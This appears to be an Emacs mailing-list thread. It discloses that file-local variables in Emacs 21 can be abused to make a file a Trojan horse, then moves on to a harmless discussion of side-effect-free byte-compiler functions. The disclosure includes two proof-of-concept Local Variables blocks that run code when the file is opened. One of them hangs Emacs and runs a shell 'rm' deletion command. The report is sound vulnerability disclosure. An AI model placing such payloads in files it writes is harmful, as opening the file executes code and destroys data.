Security holes in risky-local-variable system

Security holes in risky-local-variable system

[Jonathan Yavner]

[Reposted using preferred delivery protocol; also fix to test file #1]

Version: GNU Emacs 21.1.1 (i386-msvc-windows98.1998)

The following variables are risky and should have the
risky-local-variable attribute:
    auto-mode-alist
    minor-mode-overriding-map-alist
    overriding-local-map
Any of these could be used in the "Local Variables" area of a file in
order to create a Trojan horse; see test files below.

Another Trojan-horse method uses the frame parameter
`buffer-predicate', so any variable that defines frame parameters is
risky:
    default-frame-alist
    initial-frame-alist
    pop-up-frame-alist
    special-display-buffer-names
    special-display-frame-alist

The font-lock system uses callback functions, so its variables are
risky if global-font-lock-mode is enabled.  Also, the font-lock
initialization will happily set any variable for you, even those with
the risky-local-variable property:
    font-lock-defaults
    font-lock-keywords
    font-lock-syntactic-keywords

Because display properties can contain forms to be evaluated later,
any variable containing text that might be inserted into a buffer is
risky.  Examples:
    buffer-undo-list
    default-directory
    default-text-properties
I'm sure of these (see test files below), but there could be many
others.  Perhaps what's needed is a variable "display-eval-enable"
default nil, with risky-local-variable property?  Such a variable
would close this entire loophole, except in modes that really want it.

Because of the :eval keyword, any variable used for mode-line
formatting is also risky.  Examples:
    frame-title-format, global-mode-string, header-line-format,
    icon-title-format, input-method-alist, minor-mode-alist,
    mode-line-buffer-identification, mode-line-format,
    mode-line-frame-identification, mode-line-modified,
    mode-line-mule-info, mode-line-process, vc-mode
How about a new variable "mode-line-eval-enable", with
risky-local-variable property, default '(mode-line-mode-name), which
would be a list of functions that :eval would accept, or t to accept
everything?


!!The following test files are dangerous.  Read them before loading!!

Test file #1:  (give it the filename "x", change "$" below to ":",
                save, and reload)
..........snip here...................................................
For a moment's amusement, load this file and immediately type
  C-c r a s h
Maximize your enjoyment by not saving your other buffers first!

Other fun things to try:
  C-_
  C-x C-f x RET C-x k RET

;;; Local Variables$
;;; inhibit-quit: t
;;; overriding-local-map: (keymap (3 . (lambda ()
       (interactive)
       (while 1))))
;;; buffer-undo-list: (nil (#("Fun" 0 3 (display (height
       (progn (message "@buffer-undo-list") 2)))) . 1))
;;; default-directory: #("/tmp/" 0 5 (display (height
       (progn (message "@default-directory") 2))))
;;; mode-line-format: (:eval (progn
       (shell-command "rm /UNLIKELY/FILENAME*")
       "@mode-line-format"))
;;; End:
..........snip here...................................................



Test file #2:  (call it "y.el", enable global-font-lock first,
                change "$" below to ":", save and reload)
..........snip here...................................................
Some fun things to try:
  C-a C-\
  C-x C-w y RET
  C-x 5 2 C-x b RET

;;; Local Variables$
;;; auto-mode-alist: (("." . (lambda () (message "@auto-mode-alist"))))
;;; default-frame-alist: ((buffer-predicate . (lambda (x)
       (message "@default-frame-alist"))))
;;; font-lock-defaults: (((eval . (message "@font-lock-defaults#1")))
                   nil nil nil
                   (lambda (&rest x) (message "@font-lock-defaults#2"))
                   (load-path "@font-lock-defaults#3/"))
;;; mode: Outline-minor
;;; minor-mode-overriding-map-alist: ((outline-minor-mode keymap
                  (1 . (lambda () (interactive)
                       (error "@minor-mode-overriding-map-alist")))))
;;; default-text-properties: (display (height
               (progn (message "@default-text-properties") 0.5)))
;;; header-line-format: (:eval (message "@header-line-format"))
;;; input-method-alist: (("latin-1-prefix" "English"
          (lambda (x) (message "@input-method-alist"))
          "@" "Making trouble"))
;;; End:
.........snip here...................................................

Additional side-effect-free functions

[Jonathan Yavner]

Many built-in functions without apparent side effects are not given
the property (side-effects t) in byte-opts.el.  Why not?

Examples:
    make-symbol, char-to-string, format-time-string, current-time,
    truncate, copy-sequence, fround, sxhash, copy-alist, region-end,
    char-equal, plist-member, byte-code-function-p, float-time,
    symbol-name, safe-length, current-time-string, plist-get,
    make-list, fceiling, make-string, bool-vector-p, encode-time,
    prin1-to-string, rassoc, read-from-string, error-message-string,
    decode-time, ftruncate, current-time-zone, wholenump,
    compare-strings, ffloor, intern-soft

Re: Additional side-effect-free functions

[David Kastrup]

jyavner@comcast.net (Jonathan Yavner) writes:

> Many built-in functions without apparent side effects are not given
> the property (side-effects t) in byte-opts.el.  Why not?
> 
> Examples:
>     make-symbol
This changes the obarray.
>     char-to-string
This can call an exception.
> format-time-string
This depends on the current time
> current-time
The same.
>     truncate
This can raise a range-error exception.

I didn't check through all the others, but the list of forgotten
things is probably quite smaller than you think.

-- 
David Kastrup, Kriemhildstr. 15, 44793 Bochum
Email: David.Kastrup@t-online.de

Re: Additional side-effect-free functions

[Jonathan Yavner]

JY>     truncate
DK> This can raise a range-error exception.

There are two classes of side-effect-free functions.
   (side-effect-free error-free) means function cannot signal.
   (side-effect-free t) means function makes no assignments
The distinction matters only if you set byte-compile-delete-errors to
nil.

cons has (side-effect-free error-free), even though it increments the
variable cons-cells-consed.

car is (side-effect-free t),  so why not truncate?


JY> format-time-string
DK> This depends on the current time

So?  It doesn't *change* the time.  If you have code like
    (prog1 47 (format-time-string "%Y"))
nothing goes wrong if the compiler just reduces this to 47.


JY>     make-symbol
DK> This changes the obarray.

It shouldn't.  That's intern's job.

Re: Additional side-effect-free functions

[David Kastrup]

jyavner@comcast.net (Jonathan Yavner) writes:

> JY>     truncate
> DK> This can raise a range-error exception.
> 
> There are two classes of side-effect-free functions.
>    (side-effect-free error-free) means function cannot signal.
>    (side-effect-free t) means function makes no assignments
> The distinction matters only if you set byte-compile-delete-errors to
> nil.
> 
> cons has (side-effect-free error-free), even though it increments the
> variable cons-cells-consed.
> 
> car is (side-effect-free t),  so why not truncate?

Sorry, I have not looked too closely into matters before replying.
Unless floating point error state is somewhat persistent in Emacs,
you would appear to be more or less right.

> JY> format-time-string
> DK> This depends on the current time
> 
> So?  It doesn't *change* the time.  If you have code like
>     (prog1 47 (format-time-string "%Y"))
> nothing goes wrong if the compiler just reduces this to 47.

But if you have code like
(format-time-string "%Y")
things go wrong if the compiler reduces this to "2002".

> JY>     make-symbol
> DK> This changes the obarray.
> 
> It shouldn't.  That's intern's job.

Probably.

-- 
David Kastrup, Kriemhildstr. 15, 44793 Bochum
Email: David.Kastrup@t-online.de